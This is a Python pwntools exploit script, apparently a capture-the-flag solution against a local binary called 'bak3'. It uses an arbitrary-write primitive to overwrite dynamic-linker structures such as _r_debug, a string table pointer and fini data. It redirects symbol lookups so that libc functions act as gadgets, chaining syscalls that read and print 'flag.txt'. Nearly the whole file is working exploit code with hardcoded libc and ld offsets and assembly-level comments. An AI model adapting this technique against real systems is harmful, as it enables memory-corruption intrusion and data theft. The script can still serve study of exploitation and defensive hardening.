exploit.py

import subprocess
import struct
import os
from pwn import *
context.log_level = 'error'

#Addresses are hardcoded only to generate offsets
#Everything else should be based of those offsets
heap = 0x10
LIBC = 0x44000-heap 
LIBC = 0x43000-heap #local
start = LIBC+0x218000 
LD = LIBC+0x22c000#local
#LD = LIBC+0x22d000
fini_loc = LD + 0x36340
stack_size_current = 0x4db0-0xb8

infini = LD+0x36220

infini_1 = 33

string = ''
def send_string(self, data):
    global string
    string += data


setattr(process, 'send', send_string)

pty = process.PTY
p = process('./bak3', stdin=pty,stdout=pty)

string_table_pointer_address = LD+0x36288
string_table_pointer_address_offset = string_table_pointer_address

_r_debug = LD + 0x36100

libc_lookup = LIBC+0x228000
libc_lookup_offset = libc_lookup

#infinite write
p.send(p64(infini))
p.send(chr(infini_1))
stack_loc = 0xf8

def create(name, offset,before,sl=-1):
    global stack_loc
    if sl == -1:
        sl = stack_loc
    tmp_offset = offset
    if type(offset) == tuple:
        tmp_offset = offset[0]
        
    if name != 'main\x00':
        #set before memory write
        if before == 1 and offset or type(offset) == tuple:
            p.send(p64(libc_lookup_offset))
            p.send(chr(tmp_offset))
            tmp_offset = 0
            if type(offset) == tuple:
                tmp_offset = offset[1]
        
        #write function name into memory
        for x in range(len(name)):
            p.send(p64(_r_debug+x+0x4b))
            p.send(name[x])
        
        #change to our string/function
        p.send(p64(string_table_pointer_address_offset))
        p.send(chr(0xb8))
    
    #set after memory write
    if before == 0 and offset or type(offset) == tuple:
        p.send(p64(libc_lookup_offset))
        p.send(chr(tmp_offset))
        tmp_offset = 0
        if type(offset) == tuple:
            tmp_offset = offset[0]
        
    
    #reset for next call
    p.send(p64(infini))
    p.send(chr(sl-8))

    if name != 'main\x00':
        #reset to 0 function call
        if before == 0 and offset or type(offset) == tuple:
            p.send(p64(libc_lookup_offset))
            p.send(chr(tmp_offset))

        #reset to string table pointer
        p.send(p64(string_table_pointer_address_offset))
        p.send(chr(0x78))

        #reset to 0 function call
        if before == 1 and offset:
            p.send(p64(libc_lookup_offset))
            p.send(chr(0))

    stack_loc -= 8

f = [(start+0x9130,ord('f')),(start+0x9131,ord('l')),(start+0x9132,ord('a')),(start+0x9133,ord('g')),(start+0x9134,ord('.')),(start+0x9135,ord('t')),(start+0x9136,ord('x')),(start+0x9137,ord('t')),(start+0x9138,0)\
        ]
for y in f:
    p.send(p64(y[0]))
    p.send(chr(y[1]))


jmp_rel = LD + 0x36318

p.send(p64(infini))
p.send(chr(stack_loc))

p.send(p64(fini_loc))
p.send(chr(0x08))

#for x in range(16):
#    p.send(p64(_r_debug+8+x))
#    p.send(chr(0x00))

#no = [2,3,4,5,6,7,14,15]
no = []
fake = p64(stack_size_current) + p64(0x200000007)
for x in range(len(fake)):
    if x in no:
        continue
    p.send(p64(_r_debug+x))
    p.send(fake[x])

p.send(p64(jmp_rel))
p.send(chr(0xb8))

#set rsi to flag, will also be the spot to read into most likely
create("hcreate\x00",0,0)

#get large value into rcx
create("write\x00",0,0)

#mov rax, 1
create("printf_size_info\x00",(31,26),1)

#mov rdi, rax
create("cuserid\x00",243,1)

#syscall func
create("syscall\x00",0,0)

#write -- #sets rcx
create("write\x00",0,0)

#set rsi to flag, will also be the spot to read into most likely
create("hcreate\x00",0,0)

#and esi, 0x200
create("__cyg_profile_func_exit\x00",(4,0x50),0)

#mov rax, 1
create("printf_size_info\x00",(31,26),1)

#mov rdx, 0; add rax, 1
create("envz_get\x00",32,1)

#sub rcx, rax; lea eax, [rcx -1] ;ret
create("_IO_adjust_column\x00",(30,40),0)

#mov rax, 1
create("printf_size_info\x00",(31,26),1)

#mov rdx, 0; add rax, 1
create("envz_get\x00",32,1)

#push rcx; ret
create("write\x00",0x1e,1)

#########################################################
#mov rdi, rax
create("cuserid\x00",243,1)

#set rsi to flag, will also be the spot to read into most likely == just to xor eax
create("hcreate\x00",0,0)

#and esi, 0x200
create("__cyg_profile_func_exit\x00",(4,0x50),0)

#or esi, edi
create("modff\x00",(121,0xe4),1)

#mov zero into rdi
#set rax = -1
create("write\x00",0,0)

#mov rdx, 0; add rax, 1
create("envz_get\x00",32,1)

#mov rdi, rax
create("cuserid\x00",243,1)

#and rcx, 0x3ff
create("rand_r\x00",(0xf4,70),0)

#syscall func
create("syscall\x00",(0,0),0)

'''
#reset stack
p.send(p64(_r_debug+1))
p.send(chr(0x4c))
p.send(p64(_r_debug+0))
p.send(chr(0xf0))

stack_loc=0xf8
p.send(p64(infini))
p.send(chr(stack_loc))
'''

###############################################################################

#set rsi to flag, will also be the spot to read into most likely == just to xor eax
create("hcreate\x00",0,0)

#mov rax, 1
create("printf_size_info\x00",(31,26),1)

#mov rdi, rax
create("cuserid\x00",243,1)

##shr rcx, 10 0xc2-0x30;
#create("__isinfl\x00",0xc2-0x30,0)
##shr rcx, 10 0xc2-0x30;
#create("__isinfl\x00",0xc2-0x30,0)

#and esi, 0x200
create("__cyg_profile_func_exit\x00",(4,0x50),0)

#or esi, edi
create("modff\x00",(121,0xe4),1)

#mov cl, 0x54
#create("pthread_getspecific\x00",(0xcb,0xc7),0)

#and rcx, 0x3ff
create("rand_r\x00",(0xf4,70),0)

#or cl, [rax+0x7f]
#setup puts call
#p.send(p64(LIBC+0x21a598))
#p.send('\x13')
#p.send(p64(LIBC+0x218098))
#p.send('\x4a')
#create("puts\x00",(0,237),0)

#syscall func
create("syscall\x00",(0,0),0)

###############################################################3
#safe exit
#not needed?

create("exit\x00",0,1)

print(string)

#pause()